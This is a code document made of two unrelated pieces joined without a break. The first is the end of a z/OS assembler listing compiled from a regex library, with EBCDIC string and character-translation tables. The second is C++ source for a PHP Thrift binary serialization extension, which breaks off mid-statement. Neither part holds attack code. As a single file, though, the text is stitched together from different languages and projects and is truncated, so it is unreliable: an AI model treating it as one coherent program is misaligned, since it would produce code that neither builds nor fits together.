@ret_lab_805 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "match" * (FUNCTION #805) * @AUTO#match DSECT DS XL328 match#i#0 DS 1F ; i ORG @AUTO#match+328 match#nready#0 DS 1F ; nready ORG @AUTO#match+328 match#ready#0 DS 280000XL1 ; ready ORG @AUTO#match+280328 match#scratch#0 DS 264XL1 ; scratch ORG @AUTO#match+280592 match#c#0 DS 1F ; c ORG @AUTO#match+280600 match#sub#0 DS 264XL1 ; sub * @CODE CSECT * * * * ....... start of re_regexec re_regexec ALIAS X'99856D99858785A78583' @LNAME766 DS 0H DC X'0000000A' DC C're_regexec' DC X'00' re_regexec DCCPRLG CINDEX=766,BASER=12,FRAME=472,ENTRY=YES,ARCH=ZARCH,L* NAMEADDR=@LNAME766 LGR 3,1 ; ptr to parm area * ******* End of Prologue * * LG 15,0(0,3) ; prog LG 1,16(0,3) ; sub * *** Resub scratch; * *** int i; * *** * *** if (!sub) LTGR 2,1 BNZ @L376 * *** sub = &scratch; LA 1,168(0,13) @L376 DS 0H * *** * *** sub->nsub = prog->nsub; L 2,20(0,15) ; offset of nsub in Reprog ST 2,0(0,1) ; sub * *** for (i = 0; i < REG_MAXSUB; ++i) LHI 2,0 ; 0 B @L378 DS 0D @FRAMESIZE_766 DC F'472' @lit_766_496 DC AD(match) @L377 DS 0H * *** sub->sub[i].sp = sub->sub[i].ep = ((void *)0); LGFR 4,2 SLLG 4,4,4(0) ; *0x10 LGFR 5,2 SLLG 5,5,4(0) ; *0x10 LGHI 6,0 ; 0 STG 6,16(5,1) ; offset of ep in 0000023 STG 6,8(4,1) AHI 2,1 @L378 DS 0H CHI 2,16 BL @L377 * *** * *** return !match(prog->start, sp, sp, prog->flags | eflags, su\ * b); LG 2,0(0,15) STG 2,432(0,13) LG 2,8(0,3) ; sp STG 2,440(0,13) LG 2,8(0,3) ; sp STG 2,448(0,13) L 15,16(0,15) ; offset of flags in Reprog O 15,28(0,3) LGFR 15,15 STG 15,456(0,13) STG 1,464(0,13) LA 1,432(0,13) LG 15,@lit_766_496 ; match @@gen_label728 DS 0H BALR 14,15 @@gen_label729 DS 0H LPR 15,15 AHI 15,-1 SRL 15,31(0) LGFR 15,15 * *** } * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "re_regexec" * (FUNCTION #766) * @AUTO#re_regexec DSECT DS XL168 re_regexec#i#0 DS 1F ; i ORG @AUTO#re_regexec+168 re_regexec#scratch#0 DS 264XL1 ; scratch * @CODE CSECT @@STATIC ALIAS X'7C99858785A79750' @@STATIC DXD 64D * * Non-Re-Entrant Data Section * @DATA CSECT @DATA RMODE ANY @DATA AMODE ANY @@T349 DC X'99846D838193939683' rd.calloc DC 1X'00' @@T34D DC X'99846D948193939683' rd.malloc DC 1X'00' @@T352 DC X'99846D99858193939683' rd.realloc DC 2X'00' @@T358 DC X'99846DA2A39984A497' rd.strdup DC 1X'00' @@T35D DC X'99846DA2A3999584A497' rd.strndup DC 2X'00' @@T365 DC X'99846D9985868395A36DA2A482F0' rd.refcnt.sub0 DC 1X'00' @strings@ DS 0H DC X'C37AE081A2879281869281E093898299' C..asgkafka.libr DC X'849281869281E0A29983E099844B8800' dkafka.src.rd.h. DC X'97008995A5819389844085A283819785' p.invalid.escape DC X'40A28598A485958385008995A5819389' .sequence.invali DC X'844098A48195A389868985990000A495' d.quantifier..un DC X'A3859994899581A385844085A2838197' terminated.escap DC X'8540A28598A4859583850000C282C484' e.sequence..BbDd DC X'E2A2E6A65F5BE04B5C4E6F4D5DADBDC0' SsWw............ DC X'D04FF0F1F2F3F4F5F6F7F8F900008995' ..0123456789..in DC X'A5819389844085A28381978540838881' valid.escape.cha DC X'998183A38599000095A4948599898340' racter..numeric. DC X'96A58599869396A60000A39696409481' overflow..too.ma DC X'95A840838881998183A3859940839381' ny.character.cla DC X'A2A285A200008995A581938984408388' sses..invalid.ch DC X'81998183A3859940839381A2A2409981' aracter.class.ra DC X'95878500A3969640948195A840838881' nge.too.many.cha DC X'998183A3859940839381A2A240998195' racter.class.ran DC X'8785A200A495A3859994899581A38584' ges.unterminated DC X'40838881998183A3859940839381A2A2' .character.class DC X'0000C4E2E684A2A60000899586899589' ..DSWdsw..infini DC X'A3854093969697409481A38388899587' te.loop.matching DC X'40A3888540859497A3A840A2A3998995' .the.empty.strin DC X'87008995A58193898440828183926099' g.invalid.back.r DC X'85868599859583850000A39696409481' eference..too.ma DC X'95A840838197A3A49985A200A4959481' ny.captures.unma DC X'A383888584407D4D7D00A2A895A381A7' tched.....syntax DC X'408599999699000099858785A7974097' .error..regexp.p DC X'81A3A385999540A39696409396958740' attern.too.long. DC X'4D9481A740F1F0F0F0F05D00A4959481' .max.10000..unma DC X'A383888584407D5D7D0099858785A797' tched.....regexp DC X'40879981978840A39696409381998785' .graph.too.large DC X'000099858785A785837A4082818392A3' ..regexec..backt DC X'998183924096A58599869396A65A1500' rack.overflow... @E__stderrp ALIAS C'@@STDERP' EXTRN @E__stderrp * * * Re-entrant Data Initialization Section * @@INIT@ ALIAS C'@regexp:' @@INIT@ CSECT @@INIT@ AMODE ANY @@INIT@ RMODE ANY DC XL1'5' DC AL3(0) DC AL4(288) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000001' DC X'00000000' DC X'000000FF' DC X'0102039C09867F978D8E0B0C0D0E0F10' .....f.p........ DC X'1112139D8508871819928F1C1D1E1F80' ....e.g..k...... DC X'818283840A171B88898A8B8C05060790' abcd...hi....... DC X'9116939495960498999A9B14159E1A20' j.lmno.qr....... DC X'A0E2E4E0E1E3E5E7F1A22E3C282B7C26' .SU..TVX1s...... DC X'E9EAEBE8EDEEEFECDF21242A293B5E2D' Z..Y............ DC X'2FC2C4C0C1C3C5C7D1A62C255F3E3FF8' .BD.ACEGJw.....8 DC X'C9CACBC8CDCECFCC603A2340273D22D8' I..H...........Q DC X'616263646566676869ABBBF0FDFEB1B0' ...........0.... DC X'6A6B6C6D6E6F707172AABAE6B8C6A4B5' ...........W.Fu. DC X'7E737475767778797AA1BFD05BDEAEAC' ................ DC X'A3A5B7A9A7B6BCBDBEDDA8AF5DB4D77B' tv.zx.....y...P. DC X'414243444546474849ADF4F6F2F3F57D' ..........46235. DC X'4A4B4C4D4E4F505152B9FBFCF9FAFF5C' ............9... DC X'F7535455565758595AB2D4D6D2D3D530' 7.........MOKLN. DC X'313233343536373839B3DBDCD9DA9F40' ............R... * DC XL1'5' DC AL3(0) DC AL4(480) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000101' DC X'00000000' DC X'000000A0' DC X'010203372D2E2F1605150B0C0D0E0F10' ................ DC X'1112133C3D322618193F271C1D1E1F40' ................ DC X'5A7F7B5B6C507D4D5D5C4E6B604B61F0' ...............0 DC X'F1F2F3F4F5F6F7F8F97A5E4C7E6E6F7C' 123456789....... DC X'C1C2C3C4C5C6C7C8C9D1D2D3D4D5D6D7' ABCDEFGHIJKLMNOP DC X'D8D9E2E3E4E5E6E7E8E9ADE0BD5F6D79' QRSTUVWXYZ...... DC X'81828384858687888991929394959697' abcdefghijklmnop DC X'9899A2A3A4A5A6A7A8A9C04FD0A10720' qrstuvwxyz...... DC X'2122232425061728292A2B2C090A1B30' ................ DC X'311A333435360838393A3B04143EFF80' ................ * DC XL1'5' DC AL3(0) DC AL4(520) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000001C0' DC X'00000000' DC X'00000001' DC X'8A40404040404040' ........ * DC XL1'5' DC AL3(0) DC AL4(0) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000001E0' DC X'00000000' DC X'00000001' DC X'8B40404040404040' ........ * END
#ifdef HAVE_CONFIG_H #include "config.h" #endif #include <sys/types.h> #include <netinet/in.h> #include <unistd.h> #include <endian.h> #include <byteswap.h> #include <stdexcept> #if __BYTE_ORDER == __LITTLE_ENDIAN #define htonll(x) bswap_64(x) #define ntohll(x) bswap_64(x) #else #define htonll(x) x #define ntohll(x) x #endif enum TType { T_STOP = 0, T_VOID = 1, T_BOOL = 2, T_BYTE = 3, T_I08 = 3, T_I16 = 6, T_I32 = 8, T_U64 = 9, T_I64 = 10, T_DOUBLE = 4, T_STRING = 11, T_UTF7 = 11, T_STRUCT = 12, T_MAP = 13, T_SET = 14, T_LIST = 15, T_UTF8 = 16, T_UTF16 = 17 }; const int32_t VERSION_MASK = 0xffff0000; const int32_t VERSION_1 = 0x80010000; const int8_t T_CALL = 1; const int8_t T_REPLY = 2; const int8_t T_EXCEPTION = 3; // tprotocolexception const int INVALID_DATA = 1; const int BAD_VERSION = 4; #include "php.h" #include "zend_interfaces.h" #include "zend_exceptions.h" #include "php_thrift_protocol.h" static function_entry thrift_protocol_functions[] = { PHP_FE(thrift_protocol_write_binary, NULL) PHP_FE(thrift_protocol_read_binary, NULL) {NULL, NULL, NULL} } ; zend_module_entry thrift_protocol_module_entry = { STANDARD_MODULE_HEADER, "thrift_protocol", thrift_protocol_functions, NULL, NULL, NULL, NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES }; #ifdef COMPILE_DL_THRIFT_PROTOCOL ZEND_GET_MODULE(thrift_protocol) #endif class PHPTransport { public: zval* protocol() { return p; } zval* transport() { return t; } protected: PHPTransport() {} void construct_with_zval(zval* _p, size_t _buffer_size) { buffer = reinterpret_cast<char*>(emalloc(_buffer_size)); buffer_ptr = buffer; buffer_used = 0; buffer_size = _buffer_size; p = _p; // Get the transport for the passed protocol zval gettransport; ZVAL_STRING(&gettransport, "getTransport", 0); MAKE_STD_ZVAL(t); ZVAL_NULL(t); TSRMLS_FETCH(); call_user_function(EG(function_table), &p, &gettransport, t, 0, NULL TSRMLS_CC); } ~PHPTransport() { efree(buffer); zval_ptr_dtor(&t); } char* buffer; char* buffer_ptr; size_t buffer_used; size_t buffer_size; zval* p; zval* t; }; class PHPOutputTransport : public PHPTransport { public: PHPOutputTransport(zval* _p, size_t _buffer_size = 8192) { construct_with_zval(_p, _buffer_size); } ~PHPOutputTransport() { flush(); directFlush(); } void write(const char* data, size_t len) { if ((len + buffer_used) > buffer_size) { flush(); } if (len > buffer_size) { directWrite(data, len); } else { memcpy(buffer_ptr, data, len); buffer_used += len; buffer_ptr += len; } } void writeI64(int64_t i) { i = htonll(i); write((const char*)&i, 8); } void writeU32(uint32_t i) { i = htonl(i); write((const char*)&i, 4); } void writeI32(int32_t i) { i = htonl(i); write((const char*)&i, 4); } void writeI16(int16_t i) { i = htons(i); write((const char*)&i, 2); } void writeI8(int8_t i) { write((const char*)&i, 1); } void writeString(const char* str, size_t len) { writeU32(len); write(str, len); } void flush() { if (buffer_used) { directWrite(buffer, buffer_used); buffer_ptr = buffer; buffer_used = 0; } } protected: void directFlush() { zval ret; ZVAL_NULL(&ret); zval flushfn; ZVAL_STRING(&flushfn, "flush", 0); TSRMLS_FETCH(); call_user_function(EG(function_table), &t, &flushfn, &ret, 0, NULL TSRMLS_CC); zval_dtor(&ret); } void directWrite(const char* data, size_t len) { zval writefn; ZVAL_STRING(&writefn, "write", 0); char* newbuf = (char*)emalloc(buffer_used + 1); memcpy(newbuf, buffer, buffer_used); newbuf[buffer_used] = '\0'; zval *args[1]; MAKE_STD_ZVAL(args[0]); ZVAL_STRINGL(args[0], newbuf, buffer_used, 0); TSRMLS_FETCH(); zval ret; ZVAL_NULL(&ret); call_user_function(EG(function_table), &t, &writefn, &ret, 1, args TSRMLS_CC); zval_ptr_dtor(args); zval_dtor(&ret); } }; class PHPInputTransport : public PHPTransport { public: PHPInputTransport(zval* _p, size_t _buffer_size = 8192) { construct_with_zval(_p, _buffer_size); } ~PHPInputTransport() { put_back(); } void put_back() { if (buffer_used) { zval putbackfn; ZVAL_STRING(&putbackfn, "putBack", 0); char* newbuf = (char*)emalloc(buffer_used + 1); memcpy(newbuf, buffer_ptr, buffer_used); newbuf[buffer_used] = '\0'; zval *args[1]; MAKE_STD_ZVAL(args[0]); ZVAL_STRINGL(args[0], newbuf, buffer_used, 0); TSRMLS_FETCH(); zval ret; ZVAL_NULL(&ret); call_user_function(EG(function_table), &t, &putbackfn, &ret, 1, args TSRMLS_CC); zval_ptr_dtor(args); zval_dtor(&ret); } buffer_used = 0; buffer_ptr = buffer; } void skip(size_t len) { while (len) { size_t chunk_size = MIN(len, buffer_used); if (chunk_size) { buffer_ptr = reinterpret_cast<char*>(buffer_ptr) + chunk_size; buffer_used -= chunk_size; len -= chunk_size; } if (! len) break; refill(); } } void readBytes(void* buf, size_t len) { while (len) { size_t chunk_size = MIN(len, buffer_used); if (chunk_size) { memcpy(buf, buffer_ptr, chunk_size); buffer_ptr = reinterpret_cast<char*>(buffer_ptr) + chunk_size; buffer_used -= chunk_size; buf = reinterpret_cast<char*>(buf) + chunk_size; len -= chunk_size; } if (! len) break; refill(); } } int8_t readI8() { int8_t c; readBytes(&c, 1); return c; } int16_t readI16() { int16_t c; readBytes(&c, 2); return (int16_t)ntohs(c); } uint32_t readU32() { uint32_t c; readBytes(&c, 4); return (uint32_t)ntohl(c); } int32_t readI32() { int32_t c; readBytes(&c, 4); return (int32_t)ntohl(c); } protected: void refill() { assert(buffer_used == 0); zval retval; ZVAL_NULL(&retval); zval *args[1]; MAKE_STD_ZVAL(args[0]); ZVAL_LONG(args[0], buffer_size); TSRMLS_FETCH(); zval funcname; ZVAL_STRING(&funcname, "read", 0); call_user_function(EG(function_table), &t, &funcname, &retval, 1, args TSRMLS_CC); zval_ptr_dtor(args); buffer_used = Z_STRLEN(retval); memcpy(buffer, Z_STRVAL(retval), buffer_used); zval_dtor(&retval); buffer_ptr = buffer; } }; void binary_deserialize_spec(zval* zthis, PHPInputTransport& transport, HashTable* spec); void binary_serialize_spec(zval* zthis, PHPOutputTransport& transport, HashTable* spec); void binary_serialize(int8_t thrift_typeID, PHPOutputTransport& transport, zval** value, HashTable* fieldspec); void skip_element(long thrift_typeID, PHPInputTransport& transport); // Create a PHP object given a typename and call the ctor, optionally passing up to 2 arguments void createObject(char* obj_typename, zval* return_value, int nargs = 0, zval* arg1 = NULL, zval* arg2 = NULL) { TSRMLS_FETCH(); size_t obj_typename_len = strlen(obj_typename); zend_class_entry* ce = zend_fetch_class(obj_typename, obj_typename_len, ZEND_FETCH_CLASS_DEFAULT TSRMLS_CC); if (! ce) { php_error_docref(NULL TSRMLS_CC, E_ERROR, "Class %s does not exist", obj_typename); RETURN_NULL(); } object_and_properties_init(return_value, ce, NULL); zend_function* constructor = zend_std_get_constructor(return_value TSRMLS_CC); zval* ctor_rv = NULL; zend_call_method(&return_value, ce, &constructor, NULL, 0, &ctor_rv, nargs, arg1, arg2 TSRMLS_CC); zval_ptr_dtor(&ctor_rv); } class PHPExceptionWrapper : public std::exception { public: PHPExceptionWrapper(zval* _ex) throw() : ex(_ex) { snprintf(_what, 40, "PHP exception zval=%p", ex); } const char* what() const throw() { return _what; } ~PHPExceptionWrapper() throw() {} operator zval*() const throw() { return const_cast<zval*>(ex); } // Zend API doesn't do 'const'... protected: zval* ex; char _what[40]; } ; void throw_tprotocolexception(char* what, long errorcode) { TSRMLS_FETCH(); zval *zwhat, *zerrorcode; MAKE_STD_ZVAL(zwhat); MAKE_STD_ZVAL(zerrorcode); ZVAL_STRING(zwhat, what, 1); ZVAL_LONG(zerrorcode, errorcode); zval* ex; MAKE_STD_ZVAL(ex); createObject("TProtocolException", ex, 2, zwhat, zerrorcode); zval_ptr_dtor(&zwhat); zval_ptr_dtor(&zerrorcode); throw PHPExceptionWrapper(ex); } void binary_deserialize(int8_t thrift_typeID, PHPInputTransport& transport, zval* return_value, HashTable* fieldspec) { zval** val_ptr; Z_TYPE_P(return_value) = IS_NULL; // just in case switch (thrift_typeID) { case T_STOP: case T_VOID: RETURN_NULL(); return; case T_STRUCT: { if (zend_hash_find(fieldspec, "class", 6, (void**)&val_ptr) != SUCCESS) { throw_tprotocolexception("no class type in spec", INVALID_DATA); skip_element(T_STRUCT, transport); RETURN_NULL(); } char* structType = Z_STRVAL_PP(val_ptr); createObject(structType, return_value); if (Z_TYPE_P(return_value) == IS_NULL) { // unable to create class entry skip_element(T_STRUCT, transport); RETURN_NULL(); } TSRMLS_FETCH(); zval* spec = zend_read_static_property(zend_get_class_entry(return_value TSRMLS_CC), "_TSPEC", 6, false TSRMLS_CC); if (Z_TYPE_P(spec) != IS_ARRAY) { char errbuf[128]; snprintf(errbuf, 128, "spec for %s is wrong type: %d\n", structType, Z_TYPE_P(spec)); throw_tprotocolexception(errbuf, INVALID_DATA); RETURN_NULL(); } binary_deserialize_spec(return_value, transport, Z_ARRVAL_P(spec)); return; } break; case T_BOOL: { uint8_t c; transport.readBytes(&c, 1); RETURN_BOOL(c != 0); } //case T_I08: // same numeric value as T_BYTE case T_BYTE: { uint8_t c; transport.readBytes(&c, 1); RETURN_LONG(c); } case T_I16: { uint16_t c; transport.readBytes(&c, 2); RETURN_LONG(ntohs(c)); } case T_I32: { uint32_t c; transport.readBytes(&c, 4); RETURN_LONG(ntohl(c)); } case T_U64: case T_I64: { uint64_t c; transport.readBytes(&c, 8); RETURN_LONG(ntohll(c)); } case T_DOUBLE: { union { uint64_t c; double d; } a; transport.readBytes(&(a.c), 8); a.c = ntohll(a.c); RETURN_DOUBLE(a.d); } //case T_UTF7: // aliases T_STRING case T_UTF8: case T_UTF16: case T_STRING: { uint32_t size = transport.readU32(); if (size) { char* strbuf = (char*) emalloc(size + 1); transport.readBytes(strbuf, size); strbuf[size] = '\0'; ZVAL_STRINGL(return_value, strbuf, size, 0); } else { ZVAL_EMPTY_STRING(return_value); } return; } case T_MAP: { // array of key -> value uint8_t types[2]; transport.readBytes(types, 2); uint32_t size = transport.readU32(); array_init(return_value); zend_hash_find(fieldspec, "key", 4, (void**)&val_ptr); HashTable* keyspec = Z_ARRVAL_PP(val_ptr); zend_hash_find(fieldspec, "val", 4, (void**)&val_ptr); HashTable* valspec = Z_ARRVAL_PP(val_ptr); for (uint32_t s = 0; s < size; ++s) { zval *value; MAKE_STD_ZVAL(value); zval* key; MAKE_STD_ZVAL(key); binary_deserialize(types[0], transport, key, keyspec); binary_deserialize(types[1], transport, value, valspec); if (Z_TYPE_P(key) == IS_LONG) { zend_hash_index_update(return_value->value.ht, Z_LVAL_P(key), &value, sizeof(zval *), NULL); } else { convert_to_string_ex(&key); zend_hash_update(return_value->value.ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, &value, sizeof(zval *), NULL); } zval_ptr_dtor(&key); } return; // return_value already populated } case T_LIST: { // array with autogenerated numeric keys int8_t type = transport.readI8(); uint32_t size = transport.readU32(); zend_hash_find(fieldspec, "elem", 5, (void**)&val_ptr); HashTable* elemspec = Z_ARRVAL_PP(val_ptr); array_init(return_value); for (uint32_t s = 0; s < size; ++s) { zval *value; MAKE_STD_ZVAL(value); binary_deserialize(type, transport, value, elemspec); zend_hash_next_index_insert(return_value->value.ht, &value, sizeof(zval *), NULL); } return; } case T_SET: { // array of key -> TRUE uint8_t type; uint32_t size; transport.readBytes(&type, 1); transport.readBytes(&size, 4); size = ntohl(size); zend_hash_find(fieldspec, "elem", 5, (void**)&val_ptr); HashTable* elemspec = Z_ARRVAL_PP(val_ptr); array_init(return_value); for (uint32_t s = 0; s < size; ++s) { zval* key; zval* value; MAKE_STD_ZVAL(key); MAKE_STD_ZVAL(value); ZVAL_TRUE(value); binary_deserialize(type, transport, key, elemspec); if (Z_TYPE_P(key) == IS_LONG) { zend_hash_index_update(return_value->value.ht, Z_LVAL_P(key), &value, sizeof(zval *), NULL); } else { convert_to_string_ex(&key); zend_hash_update(return_value->value.ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, &value, sizeof(zval *), NULL); } zval_ptr_dtor(&key); } return; } }; char errbuf[128]; sprintf(errbuf, "Unknown thrift typeID %d", thrift_typeID); throw_tprotocolexception(errbuf, INVALID_DATA); } void skip_element(long thrift_typeID, PHPInputTransport& transport) { switch (thrift_typeID) { case T_STOP: case T_VOID: return; case T_STRUCT: while (true) { int8_t ttype = transport.readI8(); // get field type if (ttype == T_STOP) break; transport.skip(2); // skip field number, I16 skip_element(ttype, transport); // skip field payload } return; case T_BOOL: case T_BYTE: transport.skip(1); return; case T_I16: transport.skip(2); return; case T_I32: transport.skip(4); return; case T_U64: case T_I64: case T_DOUBLE: transport.skip(8); return; //case T_UTF7: // aliases T_STRING case T_UTF8: case T_UTF16: case T_STRING: { uint32_t len = transport.readU32(); transport.skip(len); } return; case T_MAP: { int8_t keytype = transport.readI8(); int8_t valtype = transport.readI8(); uint32_t size = transport.readU32(); for (uint32_t i = 0; i < size; ++i) { skip_element(keytype, transport); skip_element(valtype, transport); } } return; case T_LIST: case T_SET: { int8_t valtype = transport.readI8(); uint32_t size = transport.readU32(); for (uint32_t i = 0; i < size; ++i) { skip_element(valtype, transport); } } return; }; char errbuf[128]; sprintf(errbuf, "Unknown thrift typeID %ld", thrift_typeID); throw_tprotocolexception(errbuf, INVALID_DATA); } void binary_serialize_hashtable_key(int8_t keytype, PHPOutputTransport& transport, HashTable* ht, HashPosition& ht_pos) { bool keytype_is_numeric = (!((keytype == T_STRING) || (keytype == T_UTF8) || (keytype == T_UTF16))); char* key; uint key_len; long index = 0; zval* z; MAKE_STD_ZVAL(z); int res = zend_hash_get_current_key_ex(ht, &key, &key_len, (ulong*)&index, 0, &ht_pos); if (keytype_is_numeric) { if (res == HASH_KEY_IS_STRING) { index = strtol(key, NULL, 10); } ZVAL_LONG(z, index); } else { char buf[64]; if (res == HASH_KEY_IS_STRING) { key_len -= 1; // skip the null terminator } else { sprintf(buf, "%ld", index); key = buf; key_len = strlen(buf); } ZVAL_STRINGL(z, key, key_len, 1); } binary_serialize(keytype, transport, &z, NULL); zval_ptr_dtor(&z); } inline bool ttype_is_int(int8_t t) { return ((t == T_BYTE) || ((t >= T_I16) && (t <= T_I64))); } inline bool ttypes_are_compatible(int8_t t1, int8_t t2) { // Integer types of different widths are considered compatible; // otherwise the typeID must match. return ((t1 == t2) || (ttype_is_int(t1) && ttype_is_int(t2))); } void binary_deserialize_spec(zval* zthis, PHPInputTransport& transport, HashTable* spec) { // SET and LIST have 'elem' => array('type', [optional] 'class') // MAP has 'val' => array('type', [optiona] 'class') TSRMLS_FETCH(); zend_class_entry* ce = zend_get_class_entry(zthis TSRMLS_CC); while (true) { zval** val_ptr = NULL; int8_t ttype = transport.readI8(); if (ttype == T_STOP) return; int16_t fieldno = transport.readI16(); if (zend_hash_index_find(spec, fieldno, (void**)&val_ptr) == SUCCESS) { HashTable* fieldspec = Z_ARRVAL_PP(val_ptr); // pull the field name // zend hash tables use the null at the end in the length... so strlen(hash key) + 1. zend_hash_find(fieldspec, "var", 4, (void**)&val_ptr); char* varname = Z_STRVAL_PP(val_ptr); // and the type zend_hash_find(fieldspec, "type", 5, (void**)&val_ptr); convert_to_long_ex(val_ptr); int8_t expected_ttype = Z_LVAL_PP(val_ptr); if (ttypes_are_compatible(ttype, expected_ttype)) { zval* rv = NULL; MAKE_STD_ZVAL(rv); binary_deserialize(ttype, transport, rv, fieldspec); zend_update_property(ce, zthis, varname, strlen(varname), rv TSRMLS_CC); zval_ptr_dtor(&rv); } else { skip_element(ttype, transport); } } else { skip_element(ttype, transport); } } } void binary_serialize(int8_t thrift_typeID, PHPOutputTransport& transport, zval** value, HashTable* fieldspec) { // At this point the typeID (and field num, if applicable) should've already been written to the output so all we need to do is write the payload. switch (thrift_typeID) { case T_STOP: case T_VOID: return; case T_STRUCT: { TSRMLS_FETCH(); zval* spec = zend_read_static_property(zend_get_class_entry(*value TSRMLS_CC), "_TSPEC", 6, false TSRMLS_CC); binary_serialize_spec(*value, transport, Z_ARRVAL_P(spec)); } return; case T_BOOL: convert_to_boolean_ex(value); transport.writeI8(Z_BVAL_PP(value) ? 1 : 0); return; case T_BYTE: convert_to_long_ex(value); transport.writeI8(Z_LVAL_PP(value)); return; case T_I16: convert_to_long_ex(value); transport.writeI16(Z_LVAL_PP(value)); return; case T_I32: convert_to_long_ex(value); transport.writeI32(Z_LVAL_PP(value)); return; case T_I64: case T_U64: convert_to_long_ex(value); transport.writeI64(Z_LVAL_PP(value)); return; case T_DOUBLE: { union { int64_t c; double d; } a; convert_to_double_ex(value); a.d = Z_DVAL_PP(value); transport.writeI64(a.c); } return; //case T_UTF7: case T_UTF8: case T_UTF16: case T_STRING: convert_to_string(*value); transport.writeString(Z_STRVAL_PP(value), Z_STRLEN_PP(value)); return; case T_MAP: { HashTable* ht = Z_ARRVAL_PP(value); zval** val_ptr; zend_hash_find(fieldspec, "ktype", 6, (void**)&val_ptr); convert_to_long_ex(val_ptr); uint8_t keytype = Z_LVAL_PP(val_ptr); transport.writeI8(keytype); zend_hash_find(fieldspec, "vtype", 6, (void**)&val_ptr); convert_to_long_ex(val_ptr); uint8_t valtype = Z_LVAL_PP(val_ptr); transport.writeI8(valtype); zend_hash_find(fieldspec, "val", 4, (void**)&val_ptr); HashTable* valspec = Z_ARRVAL_PP(val_ptr); transport.writeI32(zend_hash_num_elements(ht)); HashPosition key_ptr; for (zend_hash_internal_pointer_reset_ex(ht, &key_ptr); zend_hash_get_current_data_ex(ht, (void**)&val_ptr, &key_ptr) == SUCCESS; zend_hash_move_forward_ex(ht, &key_ptr)) { binary_serialize_hashtable_key(keytype, transport, ht, key_ptr); binary_serialize(valtype, transport, val_ptr, valspec); } } return; case T_LIST: { HashTable* ht = Z_ARRVAL_PP(value); zval** val_ptr; zend_hash_find(fieldspec, "etype", 6, (void**)&val_ptr); convert_to_long_ex(val_ptr); uint8_t valtype = Z_LVAL_PP(val_ptr); transport.writeI8(valtype); zend_hash_find(fieldspec, "elem", 5, (void**)&val_ptr); HashTable* valspec = Z_ARRVAL_PP(val_ptr); transport.writeI32(zend_hash_num_elements(ht)); HashPosition key_ptr; for (zend_hash_internal_pointer_reset_ex(ht, &key_ptr); zend_hash_get_current_data_ex(ht, (void**)&val_ptr, &key_ptr) == SUCCESS; zend_hash_move_forward_ex(ht, &key_ptr)) { binary_serialize(valtype, transport, val_ptr, valspec); } } return; case T_SET: { HashTable* ht = Z_ARRVAL_PP(value); zval** val_ptr; zend_hash_find(fieldspec, "etype", 6, (void**)&val_ptr); convert_to_long_ex(val_ptr); uint8_t keytype = Z_LVAL_PP(val_ptr); transport.writeI8(keytype); transport.writeI32(zend_hash_num_elements(ht)); HashPosition key_ptr; for (zend_hash_internal_pointer_reset_ex(ht, &key_ptr); zend_hash_get_current_data_ex(ht, (void**)&val_ptr, &key_ptr) == SUCCESS; zend_hash_move_forward_ex(ht, &key_ptr)) { binary_serialize_hashtable_key(keytype, transport, ht, key_ptr); } } return; }; char errbuf[128]; sprintf(errbuf, "Unknown thrift typeID %d", thrift_typeID); throw_tprotocolexception(errbuf, INVALID_DATA); } void binary_serialize_spec(zval* zthis, PHPOutputTransport& transport, HashTable* spec) { HashPosition key_ptr; zval** val_ptr; TSRMLS_FETCH(); zend_class_entry* ce = zend_get_class_entry(zthis TSRMLS_CC); for (zend_hash_internal_pointer_reset_ex(spec, &key_ptr); zend_hash_get_current_data_ex(spec, (void**)&val_ptr, &key_ptr) == SUCCESS; zend_hash_move_forward_ex(spec, &key_ptr)) { ulong fieldno; if (zend_hash_get_current_key_ex(spec, NULL, NULL, &fieldno, 0, &key_ptr) != HASH_KEY_IS_LONG) { throw_tprotocolexception("Bad keytype in TSPEC (expected 'long')", INVALID_DATA); return; } HashTable* fieldspec = Z_ARRVAL_PP(val_ptr); // field name zend_hash_find(fieldspec, "var", 4, (void**)&val_ptr); char* varname = Z_STRVAL_PP(val_ptr); // thrift type zend_hash_find(fieldspec, "type", 5, (void**)&val_ptr); convert_to_long_ex(val_ptr); int8_t ttype = Z_LVAL_PP(val_ptr); zval* prop = zend_read_property(ce, zthis, varname, strlen(varname), false TSRMLS_CC); if (Z_TYPE_P(prop) != IS_NULL) { transport.writeI8(ttype); transport.writeI16(fieldno); binary_serialize(ttype, transport, &prop, fieldspec); } } transport.writeI8(T_STOP); // struct end } // 6 params: $transport $method_name $ttype $request_struct $seqID $strict_write PHP_FUNCTION(thrift_protocol_write_binary) { int argc = ZEND_NUM_ARGS(); if (argc < 6) { WRONG_PARAM_COUNT; } zval ***args = (zval***) emalloc(argc * sizeof(zval**)); zend_get_parameters_array_ex(argc, args); if (Z_TYPE_PP(args[0]) != IS_OBJECT) { php_error_docref(NULL TSRMLS_CC, E_ERROR, "1st parameter is not an object (transport)"); efree(args); RETURN_NULL(); } if (Z_TYPE_PP(args[1]) != IS_STRING) { php_error_docref(NULL TSRMLS_CC, E_ERROR, "2nd parameter is not a string (method name)"); efree(args); RETURN_NULL(); } if (Z_TYPE_PP(args[3]) != IS_OBJECT) { php_error_docref(NULL TSRMLS_CC, E_ERROR, "4th parameter is not an object (request struct)"); efree(args); RETURN_NULL(); } PHPOutputTransport transport(*args[0]); const char* method_name = Z_STRVAL_PP(args[1]); convert_to_long_ex(args[2]); int32_t msgtype = Z_LVAL_PP(args[2]); zval* request_struct = *args[3]; convert_to_long_ex(args[4]); int32_t seqID = Z_LVAL_PP(args[4]); convert_to_boolean_ex(args[5]); bool strictWrite = Z_BVAL_PP(args[5]); efree(args); args = NULL; try { if (strictWrite) { int32_t version = VERSION_1 | msgtype; transport.writeI32(version); transport.writeString(method_name, strlen(method_name)); transport.writeI32(seqID); } else { transport.writeString(method_name, strlen(method_name)); transport.writeI8(msgtype); transport.writeI32(seqID); } zval* spec = zend_read_static_property(zend_get_class_entry(request_struct TSRMLS_CC), "_TSPEC", 6, false TSRMLS_CC); binary_serialize_spec(request_struct, transport, Z_ARRVAL_P(spec)); } catch (const 